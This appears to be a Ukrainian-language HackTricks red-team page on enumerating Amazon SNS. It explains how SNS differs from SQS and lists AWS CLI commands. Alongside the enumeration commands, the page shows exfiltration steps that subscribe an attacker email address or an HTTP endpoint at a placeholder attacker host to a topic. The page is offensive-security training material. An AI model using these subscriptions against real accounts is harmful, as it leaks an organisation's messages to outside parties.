AWS - SNS Enum

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) описується як повністю керована служба обміну повідомленнями. Вона підтримує як додаток-додатку (A2A), так і додаток-людина (A2P) типи комунікації.

Ключові особливості для A2A комунікації включають механізми публікації/підписки (pub/sub). Ці механізми вводять теми, які є критично важливими для забезпечення високої пропускної здатності, пуш-орієнтованого, багато до багатьох обміну повідомленнями. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи публікаторів можуть ефективно розподіляти повідомлення на широкий спектр систем підписників, сприяючи патерну обміну повідомленнями fanout.

Різниця з SQS

SQS є черговою службою, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень одиничним споживачем. Вона пропонує доставку принаймні один раз, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.
З іншого боку, SNS є службою на основі публікації/підписки, що дозволяє один до багатьох комунікацію, транслюючи повідомлення багатьом підписникам одночасно. Вона підтримує різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS, і надає механізми фільтрації для цільової доставки повідомлень.
Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на черговій комунікації, а SNS підкреслює подієво-орієнтовані, fan-out патерни комунікації.

Перерахування

bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

caution

Зверніть увагу, що якщо тема є типу FIFO, можуть бути використані лише підписники, які використовують протокол SQS (HTTP або HTTPS не можуть бути використані).

Також, навіть якщо --topic-arn містить регіон, переконайтеся, що ви вказали правильний регіон у --region, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні.

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks